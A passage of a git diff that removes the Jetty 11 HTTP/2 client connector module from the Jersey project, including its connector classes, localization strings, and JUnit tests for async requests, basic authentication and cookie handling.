-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-
-/**
- * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
- *
- * @since 2.41
- */
-public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
-    private final HttpClient http2Client;
-
-    /**
-     * default Http2Client created for the supplier.
-     */
-    public JettyHttp2ClientSupplier() {
-        this(createHttp2Client());
-    }
-    /**
-     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
-     * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttp2ClientSupplier(HttpClient http2Client) {
-        this.http2Client = http2Client;
-    }
-
-    private static final HttpClient createHttp2Client() {
-        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
-        return new HttpClient(transport);
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return http2Client;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
deleted file mode 100644
index 7f1e45d..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.eclipse.jetty.io.ClientConnector;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
-
-import java.util.Optional;
-
-/**
- * Extends {@link JettyConnector} with HTTP/2 transport support
- *
- * @since 2.41
- */
-class JettyHttp2Connector extends JettyConnector {
-
-
-    /**
-     * Create the new Jetty HTTP/2 client connector.
-     *
-     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
-     * @param config      client configuration.
-     */
-    JettyHttp2Connector(Client jaxrsClient, Configuration config) {
-        super(jaxrsClient, config);
-    }
-
-    /**
-     * provides required {@link HttpClientTransport} for client
-     *
-     * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
-     *
-     * @return {@link HttpClientTransportOverHTTP2}
-     * @since 2.41
-     */
-    @Override
-    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
-        return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
-    }
-
-    /**
-     * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
-     *
-     * @param config configuration where {@link HttpClient} could be registered
-     * @return {@link HttpClient} instance if any was previously registered or NULL
-     *
-     * @since 2.41
-     */
-    @Override
-    protected HttpClient getRegisteredHttpClient(Configuration config) {
-        if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                return  ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
-            }
-        }
-        return null;
-    }
-}
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 02eaf5a..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        return new JettyHttp2Connector(client, runtimeConfig);
-    }
-
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyHttp2Connector) {
-            return ((JettyHttp2Connector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
deleted file mode 100644
index 960bbb6..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Jetty Client.
- */
-package org.glassfish.jersey.jetty.http2.connector;
diff --git a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
deleted file mode 100644
index b219ef9..0000000
--- a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
+++ /dev/null
@@ -1,21 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - HTTP method, e.g. GET, DELETE
-method.not.supported=Method {0} not supported.
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
deleted file mode 100644
index 76ef67b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                    .entity("Operation time out.").build());
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-        final String r1 = rf1.get().readEntity(String.class);
-        final String r2 = rf2.get().readEntity(String.class);
-        final String r3 = rf3.get().readEntity(String.class);
-
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1);
-        assertEquals("DONE-2", r2);
-        assertEquals("DONE-3", r3);
-
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
deleted file mode 100644
index 5daad2d..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class AuthFilterTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
deleted file mode 100644
index 7fe2edf..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.inject.Singleton;
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class AuthTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
-    private static final String PATH = "test";
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testAuthGet() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthPost() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthDelete() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().delete();
-        assertEquals(response.getStatus(), 204);
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
deleted file mode 100644
index eb1c653..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class CookieTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
-
-    @Path("/")
-    public static class CookieResource {
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(CookieResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new JettyHttp2ConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
-        if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
-        } else {
-            assertNull(connector.getCookieStore());
-        }
-        client.close();
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new JettyHttp2ConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
-        client.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
deleted file mode 100644
index 369169a..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
